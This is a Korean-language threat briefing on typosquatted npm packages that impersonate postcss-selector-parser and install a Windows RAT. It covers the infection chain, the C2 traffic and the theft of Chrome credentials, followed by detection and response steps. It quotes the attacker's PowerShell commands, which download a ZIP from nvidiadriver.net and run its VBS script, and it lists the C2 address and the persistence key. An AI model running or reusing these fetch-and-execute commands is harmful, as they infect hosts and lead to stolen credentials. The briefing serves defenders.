NOW Briefing
abdrizak이 정식 postcss-selector-parser를 모방한 악성 패키지 3종을 배포 중이라고 공개했습니다. 이들은 셀렉터 처리 코드로 위장한 채 Windows RAT(원격 제어 트로이목마)를 심고 있습니다.
postcss를 사칭한 npm 타이포스쿼트 패키지, Windows RAT 유포
■ 개요
postcss-selector-parser는 CSS 선택자를 파싱·변환하는 PostCSS(CSS를 자바스크립트로 변환·확장하는 도구 모음) 생태계의 핵심 라이브러리로, 주간 1.5억 회 이상 다운로드됩니다. JFrog Security Research가 2026-06-22 공개한 분석에 따르면, npm 사용자 abdrizak이 다단계 Windows RAT를 심은 세 패키지를 배포 중입니다. 정식 이름과 혼동되도록 명명된 postcss-minify-selector-parser·postcss-minify-selector와 보조 도구로 위장한 aes-decode-runner-pro가 그 대상입니다.
이름 위장은 곧바로 실행으로 이어집니다. 세 패키지는 셀렉터 처리 코드로 위장하고 있지만, import 한 줄만으로 내부에 숨긴 페이로드가 풀려 감염이 시작됩니다. 따라서 npm install이 잦은 빌드 호스트·개발자 워크스테이션이 일차 표적입니다.
최종 페이로드는 정적 탐지를 회피하도록 설계된 Python 기반 RAT로, 원격 셸·파일 송수신·Chrome 자격증명 탈취·가상머신 회피 기능을 갖추고 있습니다. 무엇보다 세 패키지는 공개 시점에도 npm 레지스트리에 그대로 남아 있어, 의존성 자동 업데이트나 신규 설치 경로로 추가 감염이 계속 발생할 수 있습니다.
■ 요약
| 항목 | 내용 |
|---|---|
| 사건명 | npm 타이포스쿼트로 위장한 다단계 Windows RAT 유포 |
| 위협 수준 | 높음 (활성 배포·정상 패키지 명칭 도용·자격증명 탈취) |
| 공격 유형 | 공급망 공격(타이포스쿼트: 정상 패키지명을 살짝 비틀어 오타를 노리는 수법), 원격 제어 트로이목마 |
| 표적 | npm 생태계 의존 개발자·CI/CD 호스트(Windows) |
| 관측 기간 | 2026-06-22 JFrog 공개, 공개 시점 npm 레지스트리 활성 |
| 영향/위험 |
• Chrome 저장 자격증명·세션 토큰 유출 가능 • 원격 셸·파일 송수신으로 빌드 호스트 침해 가능 • 레지스트리 Run 키로 지속성 확보, 재부팅 후에도 활동 지속 • 세션·서명 키 노출 시 CI/CD 파이프라인으로 침해 확산 가능 |
| 악성 패키지 | postcss-minify-selector-parser(XRAY-1002983), postcss-minify-selector(XRAY-1003986), aes-decode-runner-pro(XRAY-989675) — 게시자 abdrizak |
■ 감염 체인 분석
악성 패키지의 진입점 index.js는 같은 패키지 내부의 src/config/defaults.js를 require하는데, 셀렉터 처리 코드처럼 보이는 이 파일에 AES-256-GCM 암호문과 디코더가 함께 들어 있습니다. 패키지가 한 번이라도 로딩되면 복호화 체인이 동작해 PowerShell 호출이 즉시 실행됩니다. JFrog가 인용한 2단계 PowerShell 명령은 NVIDIA 드라이버 업데이트로 위장한 ZIP을 임시 폴더로 내려받고 자동 해제·실행합니다.
curl.exe -k -o "$env:TEMP\winPatch.zip" http://nvidiadriver.net/verv1432/winpatch-xd7d.win
Expand-Archive -Force -Path "$env:TEMP\winPatch.zip" -DestinationPath "$env:TEMP\winPatch"
wscript "$env:TEMP\winPatch\update.vbs"
이 ZIP이 해제되면 아카이브의 update.vbs는 다시 cmd /c chost.exe loader.py를 호출해 번들 Python 런타임(chost.exe)으로 loader.py를 실행합니다. 이 시점부터 Nuitka로 컴파일된 .pyd 모듈이 메인 RAT 로직을 이어받습니다. 이 단계에서 JFrog는 단일 실행 보장용 %TEMP%\.store와 피해자 고유 식별자를 보관하는 %TEMP%\.host 파일이 함께 생성되는 것을 관측했습니다.
📘 INFO
postcss-selector-parser는 PostCSS 플러그인이 거의 항상 전이 의존성으로 끌어오는 패키지입니다. 직접 추가하지 않은 프로젝트라도 다른 도구가 비슷한 이름의 모듈을 가져오면 동일한 감염 체인에 노출될 수 있습니다.
■ RAT 기능과 C2 통신
3단계 RAT는 역할별로 분할된 .pyd 모듈로 구성됩니다. audiodriver.cp310-win_amd64.pyd가 전체 흐름을 제어하고, api.pyd가 HTTP C2 통신, command.pyd가 원격 셸·파일 송수신, auto.pyd가 Chrome 자격증명·확장 데이터 탈취, config.pyd와 util.pyd가 설정과 압축 유틸을 담당합니다. 지속성 확보는 HKCU\Software\Microsoft\Windows\CurrentVersion\Run\csshost 레지스트리 키 한 줄로 등록돼 재부팅 후 자동 재실행됩니다.
auto.pyd는 이 중 자격증명 탈취를 담당하며 Chrome Login Data SQLite 데이터베이스에서 자격증명 레코드를 조회한 뒤, Windows의 데이터 보호 API(NCryptOpenStorageProvider, NCryptDecrypt)와 최신 Chrome의 앱 바인딩 암호화(AES-GCM, ChaCha20-Poly1305)를 함께 처리해 평문 비밀번호를 복원합니다.
복원된 자격증명은 chrome_logins_dump.txt로 저장한 뒤 gather.tar.gz 아카이브로 묶어 C2 서버 hxxp[:]//95[.]216[.]92[.]207:8080으로 전송합니다. JFrog 분석에 따르면 RAT는 통신 패킷을 RC4(스트림 암호)로 암호화하고 MD5 체크섬을 붙여 Content-Type: application/octet-stream의 HTTP POST 본문으로 전송합니다. 평문 HTTP를 사용하면서도 페이로드 자체는 임의의 바이너리로 보이도록 위장하는 방식입니다.
⚠️ WARN
RC4·MD5 조합 페이로드는 평문 HTTP 위에서 동작해 일반 HTTPS와 달리 TLS 인스펙션 없이도 가시화됩니다. 송수신 호스트·포트(95.216.92.207:8080)와 application/octet-stream POST 패턴 자체가 강력한 탐지 단서가 됩니다.
■ 탐지 및 점검
• 사내 npm 레지스트리, package-lock.json, yarn.lock, SBOM(Software Bill of Materials, 소프트웨어 자재 명세)에서 postcss-minify-selector-parser, postcss-minify-selector, aes-decode-runner-pro 문자열을 즉시 검색합니다.
• Windows 호스트의 HKCU\Software\Microsoft\Windows\CurrentVersion\Run\csshost 키와 %TEMP%\winPatch.zip, %TEMP%\winPatch\update.vbs, %TEMP%\.store, %TEMP%\.host 흔적을 점검합니다.
• 엔드포인트·프록시 로그에서 nvidiadriver.net, 95.216.92.207:8080 통신과 Content-Type: application/octet-stream HTTP POST 요청 패턴을 추적합니다.
• 자산 내 .pyd 파일을 JFrog가 공개한 SHA-256 6종(audiodriver, api, auto, command, config, util 모듈) 해시와 대조해 영향 여부를 확정합니다.
• 개발자·CI 호스트에서 npm·yarn·pnpm install 직후 PowerShell·curl.exe -k 자식 프로세스가 생성된 이력을 EDR로 조회합니다.
✅ CHECK
세 패키지는 JFrog 공개 시점(2026-06-22)에도 npm 레지스트리에 그대로 게시돼 있었습니다. 사내 미러·캐시·이전 빌드 산출물에 한 번이라도 유입됐다면, 패키지가 추후 제거돼도 이미 받은 의존성에 페이로드가 남아 있다는 가정으로 점검해야 합니다.
■ 대응 방안
• 점검 결과 영향 패키지 세 종이 확인되면 의존성에서 제거하고 정식 postcss-selector-parser 등 검증된 이름으로 교체한 뒤 깨끗한 환경에서 의존성 트리를 재구성합니다.
• 감염이 확인된 호스트는 격리·재구성하고, 그 환경에 저장됐던 Chrome 자격증명·세션 쿠키·npm·git·클라우드·CI 토큰을 모두 즉시 폐기하고 재발급합니다.
• 레지스트리 Run 키 csshost와 %TEMP%\winPatch* 잔존물을 일괄 삭제하고 지속성 재등록 여부를 일정 기간 모니터링합니다.
• 사내 패키지 매니저에 게시자 abdrizak 차단 규칙과 postcss-minify-*·aes-decode-* 명명 패턴 필터링을 추가하고, install 단계에서 --ignore-scripts 기본화·빌드 네트워크 허용 목록 정책을 적용합니다.
• 위협 인텔리전스 피드에 nvidiadriver[.]net, 95.216.92.207, 공개된 6개 SHA-256을 등록해 EDR·프록시·SIEM 룰로 자동 차단·경보를 구성합니다.
💡 TIP
abdrizak 계정과 aes-decode-runner-pro 같은 보조 도구 이름이 동시에 등장하므로 동일 행위자가 후속 캠페인에서 명칭만 바꿔 재게시할 가능성이 있습니다. 차단 규칙은 단일 패키지명이 아니라 게시자·명명 패턴 단위로 유지하는 것이 효과적입니다.
[참고 자료]
JFrog Security Research — From PostCSS Typosquat to Windows RAT
Infosecurity Magazine — Lookalike npm Package "PostCSS" Hides Multi-Stage RAT



